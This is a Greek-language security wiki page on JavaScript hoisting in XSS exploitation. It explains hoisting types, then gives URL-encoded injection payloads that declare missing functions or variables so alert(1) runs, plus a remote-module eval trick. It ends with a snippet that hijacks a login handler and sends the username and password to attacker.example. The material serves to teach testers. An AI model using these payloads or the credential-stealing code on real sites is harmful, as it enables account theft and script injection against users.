JS Hoisting

Reading time: 6 minutes

Basic Information

Στη γλώσσα JavaScript, υπάρχει ένας μηχανισμός γνωστός ως Hoisting όπου οι δηλώσεις μεταβλητών, συναρτήσεων, κλάσεων ή imports τοποθετούνται εννοιολογικά στην κορυφή του scope τους πριν εκτελεστεί ο κώδικας. Αυτή η διαδικασία εκτελείται αυτόματα από τη JavaScript engine, η οποία επεξεργάζεται το script σε πολλαπλές διελεύσεις.

Κατά την πρώτη διελεύση, η engine κάνει parsing του κώδικα για να ελέγξει για syntax errors και τον μετασχηματίζει σε ένα abstract syntax tree. Αυτή η φάση περιλαμβάνει το hoisting, μια διαδικασία όπου ορισμένες δηλώσεις μετακινούνται στην κορυφή του execution context. Εάν η φάση parsing είναι επιτυχής, δηλαδή δεν υπάρχουν syntax errors, τότε συνεχίζεται η εκτέλεση του script.

Είναι κρίσιμο να κατανοήσουμε ότι:

1. Το script πρέπει να είναι χωρίς syntax errors για να συμβεί η εκτέλεση. Οι κανόνες σύνταξης πρέπει να τηρούνται αυστηρά.
2. Η τοποθέτηση του κώδικα μέσα στο script επηρεάζει την εκτέλεση λόγω του hoisting, αν και ο εκτελεσμένος κώδικας μπορεί να διαφέρει από την κειμενική του αναπαράσταση.

Types of Hoisting

Με βάση τις πληροφορίες από το MDN, υπάρχουν τέσσερις διακριτοί τύποι hoisting στη JavaScript:

1. Value Hoisting: Επιτρέπει τη χρήση της τιμής μιας μεταβλητής μέσα στο scope της πριν από τη γραμμή δήλωσής της.
2. Declaration Hoisting: Επιτρέπει την αναφορά σε μια μεταβλητή μέσα στο scope της πριν από τη δήλωσή της χωρίς να προκαλεί ReferenceError, αλλά η τιμή της μεταβλητής θα είναι undefined.
3. Αυτός ο τύπος αλλάζει τη συμπεριφορά μέσα στο scope του λόγω της δήλωσης της μεταβλητής πριν από την πραγματική γραμμή δήλωσης.
4. Οι παρενέργειες της δήλωσης συμβαίνουν πριν αξιολογηθεί το υπόλοιπο μέρος του κώδικα που την περιέχει.

Συγκεκριμένα, οι function declarations παρουσιάζουν συμπεριφορά hoisting τύπου 1. Η λέξη-κλειδί var παρουσιάζει συμπεριφορά τύπου 2. Οι lexical declarations, που περιλαμβάνουν let, const και class, εμφανίζουν συμπεριφορά τύπου 3. Τέλος, οι import δηλώσεις είναι μοναδικές καθώς ανυψώνονται (hoisted) με συμπεριφορές τόσο τύπου 1 όσο και τύπου 4.

Scenarios

Επομένως, αν έχετε σενάρια όπου μπορείτε να Inject JS code after an undeclared object is used, μπορείτε να fix the syntax δηλώνοντάς το (έτσι ο κώδικάς σας θα εκτελεστεί αντί να πετάξει σφάλμα):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)

// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);

// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);

// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Περισσότερα Σενάρια

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)

// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };

// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Προλάβετε μετέπειτα δηλώσεις κλειδώνοντας ένα όνομα με const

Αν μπορείτε να εκτελέσετε πριν αναλυθεί μια κορυφαία function foo(){...}, η δήλωση μιας λεξικής δέσμευσης με το ίδιο όνομα (π.χ., const foo = ...) θα αποτρέψει τη μετέπειτα δήλωση συνάρτησης από το να επαναδεσμεύσει αυτό το αναγνωριστικό. Αυτό μπορεί να καταχραστεί σε RXSS για να αρπάξει κρίσιμους handlers που ορίζονται αργότερα στη σελίδα:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Σημειώσεις

• Αυτό βασίζεται στη σειρά εκτέλεσης και στο global (top-level) scope.
• Εάν το payload σας εκτελείται μέσα σε eval(), να θυμάστε ότι τα const/let μέσα σε eval είναι block-scoped και δεν θα δημιουργήσουν global bindings. Εισάγετε ένα νέο στοιχείο <script> με τον κώδικα για να δημιουργήσετε ένα πραγματικό global const.

Αναφορές

• https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
• https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
• https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
• From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough